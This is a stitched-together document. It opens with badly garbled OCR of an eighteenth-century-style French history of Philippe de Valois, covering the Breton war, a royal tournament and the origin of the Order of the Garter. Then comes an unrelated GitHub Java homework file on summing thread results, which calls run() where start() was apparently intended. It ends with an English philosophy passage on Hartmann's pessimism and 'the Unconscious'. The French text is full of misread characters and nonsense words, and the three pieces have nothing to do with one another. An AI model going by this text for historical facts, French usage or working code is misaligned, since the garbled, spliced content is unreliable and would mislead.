demanda à parler à fon neveu Henri de Lcon qui étoit dans le camp, ils eurent bieQtpç réglé (es articles de la capitulation, l'Evêouç DE VALOIS. Liv. H. rij l'Evêquc promit de faire rendre la Ville à Gharle de Blois , & Henri de Léon promit defoncôte qu'on n'y feroit aucun defor dre, &; que la vie& les biens de$ habitans feroicnr en furetc. La, Comtcflc Te douta bien, que l'entre vue de l'Evcquc avec foh nev^u feroit un mauvais effet. Elle fît aiOfcmbler la garnifon qu'elle trouva fort diminuée & promit dç le rendre dan? trois jours , (î le fecours d'Angleterre n'arrivoitpasdanscetems-lâ: Oiais elle trouva tous fcs Officiers découra gez , l'Evêque les avoir gagnez, & à pcinp put-elle dbtenir une feule nuit : le lende main ils la vinrent trouver dés le matin l'Evéque à leui: tête , ^ lui dirent d'ut> air peu refpeâueux , qu'ils s'étoiqEit afTez long^tems facrifîez pour elle, & qu'il fal loir capituler, La pauvre Comteflfe éplorée iè jette à leurs genoux» leur montre fon fîls, &c voit qqe rien n'efl capable de les atten^ drir. A djrmi deferperée elle ouvre une fe nêtre d^sfa chambre, quidonnoit fur la ri-^ vicre,& dans le moment qu'elle s'abandon ae ^ de? penfées toutes funeftes, elle voit un grand nombre de vaifTcaux qui montoient fiyeç la m.af éç 4c qui yenoiept à pleines yoi» P • m HISTOIRE DE PWÏUPIPE 4tm.itntri. Ics pout entTcr <kns le port. H^ Mefenrs-j s*écria-c-elle : LomiK Dku & fimt Yves .' f^oilàief4'oilionA*jéngieterre: Tout reprit cou« rage à cette vue , le feul Evêqa« nonceaz fprtit de la Ville àc alla trouver Ton neveu : elle fonda depuis à Hentieboad l'Abbaye de Notre-Dame de la Joie pour un monu ment écernel de la joie qu'elle avoit eue ■en voy^tfit arriver le (coours d'Angleterre dans le moment qu'elfe croyoit toutdefe^ ^rc. Dés que les Anglois furent entrez dans Hehnebond , la Comtdlè lit faire une for tié , & brûla tes machines de guerre des adiégeans , 9c Louis d'Efpagne fut oblige à lever le fîégc quelque jours après : il vint trouver Charte de Bioèsquiétoit en core devant le Château d'Aurmi^ & lui ren sdit compte de ce qui s^étoit palTé devant Hennebond } il alfa enfuice prendre Dî nant , qui ne fit point de reHllance & re vint afïicger Çuerrande groâè ville fut le bord de la mer entre Vannes ^ Nantes. Il trouva dans le port quantité de vaiâèaux chargez de vin appartenant a des Mar chands de Poitou 6c de la Rochelle , il s'en {aifit 4 y iftit des Génois de des Efpagnols DE VALOIS. Liv. II. iij èc fit attaqua: la Ville par mer 9c par terre; elle fut bientôt prifc 6c pillée , & comme elle etoit fort nurchanoe > on y trouva de gwmdesL richcÊa. Apres la priiè de Guerrancbi le Vicoou te de Rohan > l'Evéi^e de Léon , Henri de Léon fou neveu , & quelques amrcs Sei» gncurs Bretom allèrent trouver Charle de Biois au fiége d'Auray : mais Louird'Ef* pagne monta fur les vaiâèaux qu'il avoic pris au port dans^ la refolution d'aller fairo quelque décente en baâfe Bretagne. En e£« j^t il mit pied à terre au pore de Kimperié prés de Quinpcr & fit une courfe , d'où il rapporta un grand butin » qu'il mit dans ksi vaiflêaux j il retourna âifuite d'un àuw> tre cote pour en faire autant, mais cette iècbndc expédition na fiiie pas û. heux«ofis que la première >, Gautier de Mauni 6c Iw Anglois qui écotent i Hennebond aïant été avertis que Louis d'Ëfpagnc ccok daiss h P^ïs » vinrent par mer a Kinipei^lé , pri-y rent fes vaiâtaox où il n'avoîjc laiflie que quelques matelots , ic mirent pied i, taxe pour raUcr chercher. Ik lo tfouverent i 3uelque$ lieues dé-U» l'atcaqueoent ^ le cfijfeAtaicicrcmfint^ il fefàuua ^utbleifê Pij ntf HISTOIRE DE PHILIPPE qu'il ctoit à Kimpcrié, feulenienc avec crois cens hommes de fix mille qu'il avoit aupa iavanc,mais il fut bien étonné de trouver Tes vaifltaux au pouvoir de Tes ennemis ic à peine Tepûc-il jctter dans une barque, qui après mille dangers le mit a terre au porc de Redon. Cependant Charle de Blois avoit pris le Château d' Auray &: la ville de Vannes , & ic voyant qua^ maître de tout le Païs y il c toit allé potir la féconde fois afliéger Hen tiebond , mais il fuc obligé à lever le fiégc, èc peu après fauce d'argcnc pour payer fes croupes ou par quelque autre raifon que les Hiftoriens ne marquent pas , il accorda à la Comteflc de Montfort une trêve d'un an y pendant laquelle elle paffa en Angleter re pour y demander le fecours dont elle a voit bcloin. V En ce tcms'là mourut le Pape Benoît XÏI. après avoir été plus de fept ansaflîs fur la Chaire de faine Pierre. Il fut fort regrette des gens de bien. Il avoit fait recouvrir l'E glifc de faint Pierre qui tomboit en ruine & n'avoir point fonge i enrichir Ces parens*; il laifla un grand trefor dont les Papes fui vans fe fervirenc pour mettre à la raifon DE VALOIS. Liv. I. 117^ les petits tirans Italiens. Il fut le premier pi^. hijf. det Pape qui perfuada au Sénat & au peuple ^"Z"'1»?*• Romain cle gouverner en fon nom & au nom de TEglife , & pour s*cn mettre en f>o({èfIion , il confirma pour cinq ans dans a dignité de Sénateurs de Rome Eftiennc Colomne & le Comte de Languillara de la Maifon des Urdns lès deux plus confi derables d'entre les Seigneurs Romains; Ce fut ce Comte de Languillara , qui en 1338. en l'abfence de Colomne Ton colle-; gue,fit aifembler laNobleflc dansleCapi tole, & mit une couronne de laurier fur la tetc de François Pétrarque fameux Poëtc aux acclamations du peuple Romain , qui a toujours aimé les fpeâacles. Apres la mort de Benoît XII. Pierre Roger Archevêque de Rouen fut élu Pape, ôc prit le nom de Clément VI. Peu après mourut Robert le Sage Roi de Naple , qui laifla fon Royaume a Jeanne fa petite fil le. • Edouard, qui venoitde renouveler une trêve pour deux ans avec les Ecodbis , ac corda à la Comteife de Montfort tout ce qu'elle voulut, & quand la trêve qu'elle avoit faite, fut finie, il lui donna une belle P iij 4 ii« HISTOIRE DE PHILIPPE armce foUs h conduire de Robert d'Ar> tois accompagné du Comte de Salilberi, du Comte ae Pcmfor t & d'autses Seigneurs 13 4 3' Adglois ! ils s'embarquèrent au port de Hampton fur quarante-fix vaiilèaux , & prirent 4a route de Bretagne. Chark de Blois avoit été informe exa {kcËoeixt. de tout ce que faifotc la Comte(&: en Angleterre , & avoit rama0e jufqu'â quarante vaitfèaux de guerre montez par des Génois & par dçi Efpagnols fous les ordres de Louis d'Efpagne. Les deux floces fe rencontrèrent auprès de l'Ide de Grene-< lai > & après un grand combat , où la Com-< tedè de Montfott fit des avions d'une va leur extraordinaire , la nuit les fepara : el« les ne s'éloignèrent pourtant pas l'une de l'autre çroy^t recommencer le combat à |a pointe du jour j ma:is il s'éleva une fi fli rieufe tempête , qu'elles furent fi;parce$ malgré 41es. Les Anglois après avoir été deuiç jours entre la vie de la inort , aborde, rent auprès de Vannes ^ U Lcfuis d'£^a< gne qui avoit pris le large, parce que (es rrans yatfi^ux ètoient plus çap^les de re [ifter à la tempête, fut porté julques fur les çQtçç 4c 3ifç^ie , d'où îiprés s'être 1*^9»* 1>E VALOIR Ltv. IL 11^ -bc il revint au port de Guenatidc Si tôt <|ue Robert d'Artois <cut mis pied À tecte avec {on armée , il alk aifîéger Vati'^ Acs, & iRit joint par Gautier dfMauni qui -écoit demoucé à Heniifebond , 6c par les Sei* ^eurs Bretons du partide Montfort. Hen ri de Léon êc Olivier de Cliflon défèf|i* 4oiait la place & se manauoient de rien pour faire une belle défenle > & les An gims avoient déjà donné pl-uâeurs aïTams inutilement quand on les avertit qu'il y a* voit un endroit de la Ville où l'on ne fai ïbit point de garde : ils profitèrent de l'a* vis , y entrèrent par là fans reHAance 2ç la pillèrent. Henri de Léon ic Olivier de ClilTon profitèrent de la confufion de Ce fauverent. . Les Anglois nepcrdirent point de {ems> le Comte de Sali(beri Se le Comte de Pcm ébrt allèrent aiOSéger Rennes , & Robert d'Artois demeura dans Vannes : mais il n'y demeura pas lon^«emsen repos , Hen ri de Léon & Olivier de -Clifl^n au de{cr pcir d'avoir été furpris, ra!@R;mblcrcnt plus de ^uze mille hommes par le moy^^de Robert de Beaamanoir Maréchal de Bre tagQe> tombèrent -toot d'un 'coup 'iùrVaiK 4to HISTOIRE DE PHILIPPE ncs & remportèrent d'affaut. Robert d'Ar tois y fut fort blcffé 6c eut bien de la peine à Ce fauvcr. On le transporta à Hennebond, où ne trouviint pas d'afle^bons Chirurgiens, il voulut padcr en. Angleterre i mais Te tra vail de la mer irrita tellement {è$ blelTures qu'il mourut en arrivant à Londres^ AihH finit malhcureufement ce Robert d'Artois , qui après avoir tant contribué à . mettre la Couronne fur la tçtc de Philippe de Valois devint le plus mortel de fes enne mis , & fut la premijere caufe de tous les maux , que les Anglois firent à la France pendant plus d'un iîéçle, Le$ Hiftoriens n'ont pas bien démêlé , Ci Philippe fut in graç eiivcrs Robert , ou C Robert trop fier du grand fervice qu'il avoit rendu à fou Souverain en abufa , çn lui voulant faire faire des injuftices : Quoi qu'il en foit, Robert eut toujours tort , & le fujet qui peut fcrvir fon Roien eft affezpfiyç par Iç plaifir d'avoir fait fon devoir. Le Roi d'Angleterre crut avoir beaucoup perdu en perdant Robert d'Artois , ^c.pour yanger (a (iiort il pafià en Bretagne avec unegrande armée , afliégea lui-mçme Nan ^i pu Çharjç dç Bjois j'éîpjt retiré avçç fa ftmmç DE VALOIS. Liv. II. Hi femme , & fit alHéger en mémçtçms par Tes Lieutenans , G u ingam , Rennes & Vannes. Guingam fut pris d'abord & pillé , mais Edouard aïant été aveiti que le Duc de Normandie venoic au fecours de Çii^rle de Blois avec quarante mille hommes, le* va le Hcge de Nantes , rappella fes troupes qui artaquoient Rennies , & fe vint cam per avec toutes fes forces devant Vannes, refolii d'y attoidre les François Se de ne les combattre qu'à fon avantage : il y avoit une bonne garnifon dans la Ville, & les afficgez faiioient fou vent des forties : ils en nrent une grande un peu avant qu'E douard arrivât au Hcge ^ il s'y fit de belles a<flions de part & d'autre ; Olivier de Clif fon ic Henri de Leoo. qui défendoient la place s'ctant trop avancez furent pris prifonniers, & les Angloisy perdirent le Baron de Stanfort qui rut pris par les aifié gez & mené dans la place. Cependant le Duc de Normandie avoit ris le chemin de Nantes pour faire lever Hége ; mais il fut bien aife d'apprendre que le Roi d'Angleterre fiiyoit devant lui, & croyant le pouffer par tout , il marcha en diligence du côté de Vannes : (on ac» c uz HISTOIRE DE PHILIPPE mée étoic conduite par les Maréchaux de, Moncmorenci & de laine Venant ; & Beau manoir Maréchal de Bretagne les avoit joints avec les troupes de Charle de Blois, Ils arrivèrent bientôt à la vue de Vannes , & allèrent d'abord reconnoitre le camp des Anglois qu'ils trouvèrent très bien fortifié. Edouard qui avoit été averti par fcs efpions, du grand nombre des François , & qui Te voyoit beaucoup plus foible qu'eux , n'a voit pas voulu s'expofer à leur première furie, & s'étoit campé de manière qu'il é toit quafi impoilible d'aller a lui. Il avoit même fait discontinuer l'attaque de la Vil le pour confervcr fes troupes , & pour être plus en état derefîfterau Duc de Norman die , s'il étoit a(lcz«temeraire pour l'atta quer dans fon fort : mais ce Prmce Te con tenta de tenir la campagne & de lui couper les vivres par terre , tandis que Louis d'Ef^ pagne & Oton Adorne Génois tenoient la mer avec leurs vaifTeaux & empcchoient les fecours d'Angleterre. Ainfî ces deux grandes armées demeurè rent l'une visa vis de l'autre fans combat tre , toutes deux fort incommodées j les Anglois manquoientdevivres & les Ej;ah i .DE VA L O I S. Liv, ir: ri5 :çois de fouraffcs , outre que le grand froid ( car l'hiver etoit dcja bien avancé ) faifoic mourir cous les chevaux : Enfin les deux princes également las d'un état Ci fâcheux, convinrent d'une trêve de trois ans par l'en tremife des Cardinaux de Palucrine & de Clcrmont Légats du Pape Clément VI. On fit l'échange d'Olivier de Clifïbn contre Stanfort , Edouard s'en retourna en An gleterre, & le Duc de Normandie revint à Paris. Quand la trêve eut été publiée entre la V I !• France & l'Angleterre , le Roi Philippe de Navarre qui avoit toujours fervi auprès du Duc de Normandie s'en retourna dans fon païs , 6c fe croifa contre les Mores de Gre nade } il fut accompagné des Comtes de Foix , de Bigorrc & de Cominge & du Vi Comce de Bearn, & après y avoir fait des avions de grande valeur , il y mourut de maladie la quinzième année de fon règne aitné de reereté de Ces fujets. Il laiflà un fils nomme Charlé qui eut depuis le fur nom de Mauvais j la Reine Jeanne mère de Charle eut la tutelle & fe gouverna fdirt fagement. Cependant le Comtç ]eaa de Montfbrti 114 HISTOIRE DE PHILIPPE en vertu de la trêve, fortit de la cour du Louvre à condition qu'il ne s'cloigneroic j>oint de la Cour t mais il s'en alla d'abord en Bretagne fe mettre à la tête de Tes trou {>es , aifiegea Kimper & fut obligé de lever * C'Cicgc toujours malheureux & battu par tout , enfin accablé de fa mauvaife fortune il mourut à la fin de l'année 1545. ^ ^^^ fon fils encore jeune, de fes affaires foncn defbrdre fous la conduite de la Comcc0ê Ta femme , qui s'acquitta mieux que lui des foins du gouvernement. Quand le Duc de Normandie fut arrivé à Paris , on ne fongea qu'^ fe divertir & à faire des fêtes. Le Roi fit le mariage du Prin ce Philippe fon fécond fils avec la Princef fe Blancnc fille unique & pofthuhie du Roi Charle le Bel , te érigea en fa Viveur Orléans en Duché : il lui donna auiH le Comté de Valois qui étoit fon patrimoi* ne , & le Comté de Beaumont le Roger , qui avoic été confifqué fur Robert d'Ar^ tois ; car quoique dans la fuite le Roi eut pardonné aux enfans de Robert d'Artois qui étoient fes neveux fils de fa fœur , il ne leur rendit jamais rien de la fucceflîon de leur père. On fie publier un tournoi , où DE VALOIS. Liv. ÎI. ïij le Roi convia cous les gratis Seigneurs de * prance, & envoya des fau£-conduit$ aux étrangers. Il y avoir plus de trois cens ans que les du cange. tournois avoient été inventez par GeofFroi <»'• H'f"47 de Preuilli GeAtil-hommc François de la ^""'■'^^"*''* Maifon de Vandome» Il n'y avoir que les 7o«^tf«if^. Rois , les Princes ou les grans Seigneurs , jut. d» Rtu qui enflent droit d'en faire : ils cnvoyoicnt un Roi d'armes ou un Héraut > dont la ro be écoit toute parfemée de leurs armes aux Rois ou Princes voiiins leur porter une é pée en Jigtifiame ip^ik ^urelloient de fidffer un tournoi &* houhourais d'armes en Uprejènce de Da mei & de DamoifeUes } & pour leur faire fa" voir le tems , le lieu & les conditions du tournoi.. Le Prince à qui le Roi d'armes pre« foitoitl'épée, lui répondoit en la prenant: Je ne l'accepte pas pour nul mal talent , asm pour faire plaifirà celui qui la niewwye Ct aux Da mes ehatement. On choififloit une grande piaec .autour die laquelle on drcflbit des échafaux pour les Dames £c pour le» Juges du camp. Chaque Prince ou grand Seigneur qui étoit du tournoi , prenoit pour lui & pour fes gens une certaine quantité de mai-* fons fur la place ,^hi£oit peindre fur les QJij I û^ HISTOIRE DE PHILIPPE murailles Tes armes & celles des Chevaliers de fa fuites & 4cs fenêtres pendoietit des^ bannières voltigeantes de taretas.de divcr fes couleurs , fur lefquelles on voyoit leur$ armes, leurs ehilFres & leurs devilés. On (c battoir d'abord feul à feul , Se puis troupe contre troupe^ ou ave^: Tcpée plate & large, ou avec la mafTe d'armes ronde & plus pe fante , & après le combat qui étoit anime par les. trompettes , les Juges adjugeoiciu: le prix 4» mefUffur Chevalier ou Eeuyer mkux fraftanp ié^étt ^ eik été m la mêlée du tour noi. Enfuite les juges précédez du Roi d'ar* mes , le menoient en pompe au lieu ou étoit UDapie du Tou^ uoi , accompagnée de fon Chevalier d'honneur & de deux Pamoifelles. La Dame lui mettoit le prix çnt rc les mains, & après l'avoir meniée bien ^eéiueujèment il la b^ifeit j & ftmblahlemenths deftx P^umijêlles , fi c'était fin pLùfir. Apres quoi le Chevalier vainqueur prenoic la Pame parla main 6ç la menait s ladance, par où finiiToient les plaiflrs de la jour^ née. > La jeune Noblejlè aimoit fort les tour^ noiç , elle s'y formoit aux armes , s'accQU-> çumçij 4 ^ guerre, & même gcqucroit de DE VALOIS. Liv. il. Otx ne laiflbit pas d'en faire par tour , les jeunes gens vouloient , i quelque prix que 3 u8 HISTOIRE DE PHILIPPE ce fût,donncr des preuves de leur valeur mê me en tems de paix , & les Papes furent obli gez a lever des cen Aires dont on iic faifoit pas grand cas. Le tournoi qui fe devoir faire à Paris aïant été publié par tout , Charle de Blois qui étoit prefque paifîble poiTelTeur de tou te la Bretagne y vint fuivi de fes Barons : le tournoi le fit avec beaucoup de joie & de magnificence i mais après que les courfes furent finies , le Roi nt arrêter Olivier de Cliflbn , le Baron d' Avaugour , GeofFroi & Jean de Makflroit , Jean de Montauban &: quelques autres Seigneurs Bretons ; on les mit au Chatelet , leur procez fut fait bruf quement Se ils eurent le col coupé. On les accuCa d'avoir fait un traité fecret avec le Roi d'Angleterre contre les intérêts de la France. V 1 1 1. Sitôt qu'Edouard eut appris cette exécu tion , il prétendit que les François avoicnt rompu la trêve > & donna la liberté à Henri de Léon , à condition qu'il iroit de fa part déclarer la guerre à Philippe. Il fit partir en même tems le Comte de Derbi {on coufin ^vec trois cens Chevaliers , fix cens hom^ ipes 4'^ines & dcax mille Âi^çhcrs pour al ler DE VALOÏS. Xiv.II/ U9 .Içr «(B Guicnnc , envoya quelques troupes ,àla Çomtcflc dcMootfoft pour fc tenir au Qioijns fur la dcfeaiS^c .^èc Ht maxcher: le Comte de Salifbcri vers les frontières d'E .cpiTe, . I.CS Coins de la guerre ne. Kcmpechoknt Fr. i. v. n^Si de fongçr ^ fcs plaifirs, i[a.oit.toû . jiptUî&.clcv^t lcs.y<aix l'ùnage jde la Comtet i5»,dç Salilberi , ôc quoique la verwi'ôc la ,modej(lie de la CpflMcflè lui ôcafTcnt amt» ^(^pefance j il n'en étoit pas moins amou ireux , il faifoit ce qu'il pouvoit pour plaire: ceji-çt ok que joutes , combat$*a la barrière, ôç tournoisi • mais en 1544. il fit une fcte pl^ nijigniiîque. que les .autres dansleCha t^jau de Windior. Il y ayoit U9 :ampbi£eatre de bois de deux <çens pij^ds de diamètre que les Hifloriens Anglois appellent la table ronde, &de M .n:u&*ctre on continua à dire les Chevaliers fie la table rondes pu plutôt parce que ceuj: qui ,fà:iroipnt ç^ fortes de fêtes dormoient démanger à tops ceu:K qui fe prefentoient., 4^ faifoient iêrvir fur de? r^lcs. de figure Inonde pour çmpccber Ijes.conteftation? de rang & àc prcfçançe. L^ Chevalliers. 6$ les l^m^s d'Angleterre ^ mèmfi d/cs j^ïs é^ K Z: I3P HISTOIRE DE ?HILI?PPE trangcrs y furent invitcx , bien icçis le dé ârAyen pendant crois jour;;. Le Rok eux le plaiHr d'y voir la ComtetTede Saiiibcri ^qi^ ne vcnotc a la Cour que quan4 elle ne po^ voie s'en difpenrer i mais il la trouva teu^ jours dans les mêmes fencimens pour ivi« toujours fîdcle à Ton mari & toujours, uchk 4ant à Ton Roicks rerpcârs, qu'il ncliii^e mandoit pas ; & au lifu qucles au{i?es;Qft mes cherchoient de notuvcaux ajo^QUiMs pour paroître dans les grandes fêtes , la Comceâe n'avoic jamais que des hatm^forf; fimples fit n«ctoit parée que d.'die même. ; elle ne laiâbit pas d'être de touS' les éivcrr tifTemens delà Cour. Un jour en danfant att bal une de fes jartieres fe dénoua &; tomt^jk par terre , auffi-tôt le Roi la rama0a avec précipitation , âc comme il vit fur le vifagç de fes Courtifans, qu'ils en étoient furpci^ de peut-ctrefcandalifez , il s'écria cmit hâu^ Mtnmfikfti malj pmfr , £c ae lai^ pas éfi forer la jartiere qu'il confcrva toujours depuis comme une cbofè precieufe. Èn&i^ couche de la vertu de la Comteflc , il chcX' cha à la faire connoître à coûte la pofterite & en 1344. il inftitua en fon honneur l'Or dre; dé la Jartiere qu'il voulut être blcuë DE VALOIS. Liv.n. 131 remblable à celle de la Comteflc avec la dc vifc Honnifiit qui malyfenfèy pour marquer la pureté de Tes intentions. Il donna cet Ordre à quarante de Tes plus braves Cheva liers, & ordonna qu'on en feroit la fcte cous les ans dans le Château de W^indior •k jour de faint George. | 2,230 |
https://github.com/KHWeb19/Homework/blob/master/SeohyunNoh/java/homework/23rd/src/Bank6Prob1.java | Github Open Source | Open Source | MIT | 2,022 | Homework | KHWeb19 | Java | Code | 84 | 306 | public class Bank6Prob1 {
public static void main(String[] args) throws InterruptedException {
ThreadRectangle.calcEachThreadTotal();
ThreadRectangle[] rect = new ThreadRectangle[ThreadRectangle.THREAD_MAX];
for(int i = 0 ; i < ThreadRectangle.THREAD_MAX ; i++){
rect[i] = new ThreadRectangle();
}
for(int i = 0 ; i < ThreadRectangle.THREAD_MAX ; i++){
rect[i].run();
rect[i].join(); // 4개의 스레드가 전부 작업을 완료할 때까지 main프로세스 잡아둠
}
float fianlResult = 0;
for(int i = 0; i < ThreadRectangle.THREAD_MAX; i++){
fianlResult += rect[i].getSum();
}
System.out.printf("%d개의 스레드가 모든 작업을 완료하였습니다. 최종결과는? %f\n " , ThreadRectangle.THREAD_MAX, fianlResult);
}
}
| 37,262 |
37029697_31 | LoC-PD-Books | Open Culture | Public Domain | 1,878 | Modern philosophy, | None | English | Spoken | 5,039 | 7,185 | Its action is incessant, and whenever or wherever need exists, it always intervenes at the fittest moment. All this is seen in the healing and recuperative agency of nature; in its first building up the organism with its countless contrivances and excellences, and then preserving it through perpetually repairing the waste of old material ; by its keeping up the species through propagation, and constantly ennobling it through “the survival of the fittest.” “ These incessant interventions of an allwise Providence are even natural; that is, they are not arbitrary, but conformable to law ; for they are determined by a logical necessity, and therefore must be always adapted to the infinitely varied relations and needs of the present moment, and to the ultimate purpose for which all things exist.” “ In truth, our contemplations of organic life only confirm the lofty affirmation of Christian theology, that the gov¬ ernment of God is not merely a general direction of earthly affairs as a whole, but its immeasurable perfection and minuteness are marvellously revealed in just this respect, that his controlling Providence is omnipresent and equally efficient in the least, as in the greatest, events.” The wisdom of the Unconscious is all the more to be praised when it economizes force, and avoids a constantly recurring ne¬ cessity of labor, through some ingenious contrivance, whereby in each case the end is sure to be obtained in the fittest possible manner. The most comprehensive and important of all such con¬ trivances is the entire system of physical and chemical laws. But as the very nature of mechanism confines it to a class of homoge¬ neous cases, while in fact many cases are peculiar in some respects, 474 MODERN PHILOSOPHY. these contrivances, however admirable, can never do away with the necessity of frequent immediate intervention by the Uncon¬ scious. As soon as the expenditure of force in the creation of a mechanism would be greater than the economy of force effected by it, which is the case generally with complex combinations of circumstances, recourse must be had to what is called a special Providence. Of this nature are all inspirations to individual human minds whereby the course of history is permanently affected, and the tide of culture and progress is turned towards the end which the Unconscious always had in view. A thought suddenly occurring at the right moment to a Cromwell or a Napoleon, a Luther or a Loyola, may alter the whole aspect of human affairs in the civilized world. In view of such considerations as these, we cannot avoid attrib¬ uting to the Unconscious the divine qualities of omniscience, omni¬ presence throughout all time, and absolute wisdom. Then we must adopt the doctrine of Leibnitz, and believe that, at the begin¬ ning of all things, all possible universes were present in idea to the divine Intellect, and that this universe was made actual merely because it is the best possible out of the whole number. Being incapable of error, the Unconscious cannot have been deceived in its estimate of the comparative value of this world ; and being omnipresent and incessantly active throughout all time, there could not have been any pause or omission in its government, whereby the world could have deteriorated from its pristine state. These are the conclusions, be it observed, of an avowed materialist and atheist, who finds himself driven to them by inductive reasoning from observed facts. He refuses to admit, however, the Remainder of the doctrine of Leibnitz, that evil is merely of a privative character, since it is not the entire absence, but only a diminution, of conceivable good. Designating an unmixed good as A, and an evil as a, Hartmann argues, that any reasonable person would desire to possess A alone, rather than A a. But he is wrong, for by supposition, a is not unmixed evil; and if the amount of good in it predominates over f he evil, while the evil is also a necessary condition of the existence of this good, then A -}- a is preferable to A alone. It is an evil to have a broken finger; but this is no sufficient reason for ampu¬ tating it, since even in its present state, with the chance that the bone may be reunited, it is better than no finger at all. The doc¬ trine of Leibnitz merely affirm's that there is no evil without some compensation ; and this is true, if we take a sufficiently broad view HARTMANN’S METAPHYSICS OF THE UNCONSCIOUS. 475 of each case. Even if the finger be amputated, a hand with three fingers is not to be condemned as an incumbrance. Our view is sufficiently broad only when we consider human life as a whole; before the Pessimist can establish his conclusion against Leibnitz, he ought to take the aggregate results of existence, and show that there is an absolute preponderance of evil over good. This he cannot do, even if we take for granted the illogical assumption, which he always makes, that happiness, and not holiness, is man’s highest interest. But Hartmann is right in maintaining that the principal doctrine of Leibnitz leaves the matter short; for although the universe in which we live is the best possible, it may very well be that it is still so bad that no universe at all, that is, nothingness, would be preferable. “ Bad is the best ” is even a popular saying; the best road between two towns in a rugged district may still be a detest¬ able one. The philosophy of Leibnitz, however, when thus en¬ grafted upon that of Schopenhauer, is an immense improvement on the doctrine of the latter; since the union of the two doctrines proves, that the only evil which exists is inherent in the nature of things, and is properly regarded as “ metaphysical ” or irremediable. The supposition of its removal being a contradiction and an ab¬ surdity, the existence of it brings no imputation either upon the wisdom or the goodness of the Creator. The presence of the so- called evil may be even a necessary means of producing the utmost possible amount of good, so that its absence or removal would be a positive defect in the plan of the universe. If the compensatory good is in considerable excess over the harm resulting from the only possible means of creating that good, it is obvious that the aggre¬ gate beneficial result will be greater than it would have been if all harm had been prohibited. Hartmann himself points out for admiration the wisdom of the Unconscious, as manifested by im¬ planting in the human heart those impulses of pity, beneficence, gratitude, distributive fairness, and retributive justice, which count¬ eract the feeling of egoism or selfishness that is necessary for the preservation of individual well-being. Here, surely, the net result of good obtained is greater than would have been possible, had self¬ ishness been altogether eliminated. After what has been said, we may dismiss unnoticed Hart¬ mann’s long and gloomy disquisition upon the miseries <?f human life, whereby he attempts to prove that the existence of the uni¬ verse is only an impertinent and burdensome interlude in the comparatively blissful realm of nothingness, and that a well-in* 476 MODERN PHILOSOPHY. formed intellect would prefer not to be. He admits that the whole inquiry, though important in its bearings on the ultimate principles of philosophy, is not of immediate influence on the sub¬ ject promised in the title of his work, u the Unconscious.” Most of his argument is intended to dissipate the illusions of the vulgar mind in respect to the attainableness of happiness either here or hereafter, and thereby to induce the educated and thinking mind to strive only after such improvement of the intellect as will finally correct these illusions, and dispose mankind generally to bring the world to an end by common consent. But the whole - subject of Pessimism has been considered at sufficient length in connection with the philosophy of Schopenhauer, and I gladly waive any further treatment of the dismal topic. A healthy mind, not constitutionally disposed to gloom, and neither harassed by exceptional experience of the ills of life, nor corrupted by met¬ aphysical refinements, could not seriously entertain the theory for a moment. We come now to the last question, What is the ultimate Pur¬ pose, the final end and aim, to which all minor and immediate aims are subservient, for the creation of the world and for the develop¬ ment of its affairs through its continuance in being? What motive had the measureless wisdom of “ the Unconscious ” for this par¬ ticular manifestation of itself, when it was free to assume any other mode of being, or to carry out any other “ Process ” of de¬ velopment ? This ultimate motive, according to Hartmann, cannot be the promotion of justice and morality, or the increase of virtue ; for he is a utilitarian, and holds that virtue is not an end, but only a means for the attainment of some worthier object. Neither can it be happiness, for he thinks he has proved that this is not ob¬ tained at any stage of the Process, but only its opposite, misery, this being aggravated, too, as the development of history goes on, through the clearing up of illusions and the augmentation of con¬ sciousness. Neither can freedom be the aim of the Process, “ for I hold that freedom is nothing positive, but only the absence of compulsion ; and since the Unconscious is one and all, there is nothing which could place it under constraint.” Freedom, more¬ over, is a consciousness of the absence of necessity; and therefore the increase of freedom is identical with the enhancement of con¬ sciousness. And this is a sufficient indication of what is already evident on other grounds, that we can hope to ascertain the ulti¬ mate purpose of creation only by searching for it in that direc¬ tion where we behold a decided and constant progress. And HARTMANN’S METAPHYSICS OF THE UNCONSCIOUS. 477 this is to be found in the development of consciousness; for here alone we witness continual advancement from the primitive cell up to the dawn of animal life, and thence to the culmination of such life in the brain of man. Thus Hegel says, “ every thing which takes place in heaven and on earth, the life of God and all that is done in time, strives only to this end, that the Spirit may know itself, may become an object to itself, may rise from self-involved to distinct and separate being; it is self-diremp- tion or duplication, in order to be able to find itself and to come to itself.” The ever-rising development of consciousness, therefore, marks the drift of the current, and shows the direction in which we are hastening; yet it cannot be, in itself, the end or ultimate purpose of the journey. For consciousness, as we have seen, is born in pain, lives in pain, and purchases by pain every step in its own advancement. And what has it in itself as a compensation for all this suffering? Only a vain duplication of self in a mirror! Was there not, then, already real misery enough, without doubling it in the magic-lantern of consciousness ? Since the infinite wisdom of the ruling Intellect must be opposed to any such increase of suf¬ fering, it cannot be that consciousness is an end unto itself, but its development must serve as a means to some higher end. Every thing which lives strives after happiness; this is the most universal principle of action that we know of; it is the essence of the Will itself seeking its own gratification. Mere Will, however, though it is the only spring of activity, is essentially blind; it is not merely illogical or irrational, because it does not reason at all, even wrongly. It simply craves, and acts out its cravings in automatic volitions. Hence it is properly alogical, being entirely devoid of reason, just as the Intellect, being in its very nature distinct from Will, cannot act, but simply knows. Consequently, this ill-matched pair, indissolubly united in the Unconscious, cannot cooperate; neither can help the other. Vainly does the all-wise Intellect perceive that the unreasoning Will is entirely in the wrong, since its ceaseless craving for happiness merely increases misery ; the alogical Will cannot heed its warnings, and cannot impart its own capacity of action to its wise but helpless companion. As long as they are tied together, like a balky team, they neutralize each other’s powers. picture of the best possible state of the world as something to be striven for ; and this ideal is instantly realized by the Will. Bad is the best, however; and this the Intellect knows full well. It has recourse to an artifice, therefore, in order to obtain the utmost feasible good. Happiness is unattainable ; but freedom from pain, which is the nearest possible approximation to it, may be secured by a return to nothingness. Hence the Intellect forms the conception of a universe in which the Will shall be divided against itself, through the indefinite multiplication of individuals, each striving independently for ends of its own ; and the necessary result of such independent action, as we ha.ve seen, is the emanci¬ pation of Intellect from the Will through the development of Consciousness. This conception of a universe, of course, is in¬ stantly realized by the blind Will, which knows not that it is thereby cheated into a contest with itself, that ideas will thus be forced upon it which it has not willed, that thought will thus be severed from action, and that the finite Intellect, thus made inde¬ pendent, will be gradually led, through the enhancement of con¬ sciousness and the increase of knowledge, to will the annihilation of all things, and thus to rid itself of the misery of existence. As Intellect can never be separated from the Will in the Uncon¬ scious, the ultimate purpose of the universe is to effect this divorce through the action of finite conscious minds and the advancement of knowledge, which must finally correct the illusions which keep up the vain pursuit of happiness, and bring about by common consent the end of all things. Schopenhauer’s philosophy aims at the same result, but pro¬ poses to accomplish it by a different method, namely, by advising the individual man to cease to will, and thereby, through 